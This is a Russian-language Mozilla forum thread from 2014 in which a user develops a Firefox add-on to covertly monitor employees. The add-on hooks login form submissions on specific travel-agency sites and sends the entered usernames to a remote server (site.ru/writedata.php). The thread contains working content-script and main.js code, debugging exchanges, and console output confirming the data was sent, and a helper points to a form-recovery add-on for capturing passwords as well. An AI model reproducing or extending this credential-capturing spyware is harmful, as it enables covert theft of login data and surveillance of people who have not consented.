>Форум Mozilla Россия http://forum.mozilla-russia.org/index.php >Разработка http://forum.mozilla-russia.org/viewforum.php?id=18 >Разработка расширения для перехвата логинов на заданных сайтах http://forum.mozilla-russia.org/viewtopic.php?id=62997 |
thunderamur > 24-04-2014 10:03:31 |
Думаю этот проектик станет чем-то вроде "Hello world!" для меня в создании расширений для FF. Зачем? Нужно проверить некоторых сотрудников не работают ли они на лево, с левых учеток. Килогеры посмотрел готовые для ФФ, рабочий только один оказался, но он не помогает когда чел не вводит, а вставляет логин из буфера. https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_started Сейчас вижу задачу так: Вопросы: |
thunderamur > 24-04-2014 10:52:44 |
1. Почитал инфу по вкладкам, получилось вот что: Выделить код Код:var tabs = require("sdk/tabs"); function show(tab) { if (tab.url.indexOf("ya.ru") == -1) { console.log(tab.url + " is not ya.ru"); }else{ console.log(tab.url + " is ya.ru"); } } tabs.on('pageshow', show); Это можно заюзать для определения на каком мы сайте и нужно ли логировать. |
thunderamur > 24-04-2014 11:40:17 |
Товарищи, как получить данные со страницу по определенному событию? |
thunderamur > 24-04-2014 12:06:56 |
Первое о чем я подумал - это прокси (и она уже имеется), но как она мне поможет с https? Поставим один браузер, другое ставить запретим. |
thunderamur > 25-04-2014 12:59:41 |
okkamas_knife |
thunderamur > 25-04-2014 17:03:51 |
okkamas_knife Может лучше покажешь пример по сабжу, где можно посмотреть как работать со страницей на вкладке? |
thunderamur > 28-04-2014 03:15:52 |
В справочнике на MDN примеры для 29+ |
thunderamur > 28-04-2014 04:27:56 |
Как залезть на страницу нашел... |
thunderamur > 28-04-2014 05:51:20 |
Разобрался. Сделал так, что данные улетают на удаленный сервер, где логируются. |
thunderamur > 28-04-2014 10:00:03 |
Странная штука, не везде работает. скрытый текст main.js Выделить код Код:var data = require("sdk/self").data; var pageMod = require("sdk/page-mod"); pageMod.PageMod({ include: "*.mouzenidis-travel.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("mouzenidis-travel.ru.js")] }); pageMod.PageMod({ include: "*.pegast.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("pegast.ru.js")] }); data/mouzenidis-travel.ru.js Выделить код Код:$("form").submit(function(){ alert($("#UserName").val()); $.ajax({ type: "POST", url: "http://site.ru/writedata.php", data: { site :"mouzenidis-travel.ru", login :$("#UserName").val(), secret :"" } }) }); data/pegast.ru.js Выделить код Код:$("form").submit(function(){ alert($("#username").val()); $.ajax({ type: "POST", url: "http://site.ru/writedata.php", data: { site :"pegast.ru", login :$("#username").val(), secret :"" } }) }); Во всех случаях submit отрабатывает, о чем свидетельствует alert(). Но в случае с pegast.ru, данные не попадают на удаленный сервер. |
Пандёнок > 28-04-2014 14:12:48 |
thunderamur |
thunderamur > 30-04-2014 03:59:47 |
Infocatcher молчит |
Infocatcher > 01-05-2014 14:29:20 |
Два дня – это еще не молчит, это раз. У меня сейчас полно других дел, это два. Если проблема исключительно в отправке данных (а сами данные получаются), то или какие-то проблемы с использованием в данном случае $.ajax() (к чему здесь вообще jQuery?), или дело в том, что скрипт выполняется на странице и выгружается вместе с ней до отправки данных. По самому сбору данных: сохранение паролей можно включить в Lazarus: Form Recovery. |
thunderamur > 02-05-2014 19:55:39 |
Infocatcher 02-05-2014 20:13:39 |
Infocatcher > 06-05-2014 16:54:42 |
thunderamur пишет
Там нужно посылать сообщения из content-скрипта в main.js: Но я, повторюсь, с Add-on SDK не работал, исходники там обильные и мудреные, так что ничего кроме чтения документации посоветовать не могу. |
thunderamur > 07-05-2014 05:34:44 |
Infocatcher |
thunderamur > 08-05-2014 04:50:35 |
Сейчас имею вот что: Выделить код Код:pageMod.PageMod({ include: "*.natalie-tours.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("natalie-tours.ru.js")], onAttach: function(worker) { worker.port.on('mylogin', function(msg) { console.log("============== 1 - " + msg); var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", true); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) { if(xmlhttp.status == 200) { console.log(xmlhttp.responseText); } } }; xmlhttp.send(null); console.log("============== 2 - " + msg); }); } }); Консоль: Выделить код Код:console.log: my-addon: ============== 1 - 123 console.error: my-addon: Message: ReferenceError: XMLHttpRequest is not defined Т.е. код отрабатывает до момента отправки и тут встает из-за того, что не знает что такое XMLHttpRequest. |
thunderamur > 08-05-2014 05:29:02 |
Крутяк, получилось! Выделить код Код:var Request = require("sdk/request").Request; pageMod.PageMod({ include: "*.natalie-tours.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("natalie-tours.ru.js")], onAttach: function(worker) { worker.port.on('mylogin', function(msg) { console.log("============== 1 - " + msg); Request({ url: "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", onComplete: function (response) { console.log("Data sent successfully!"); } }).get(); console.log("============== 2 - " + msg); }); } }); Выделить код Код:console.log: my-addon: ============== 1 - 32434 console.log: my-addon: ============== 2 - 32434 console.log: my-addon: Data sent successfully! Теперь ещё один вопрос |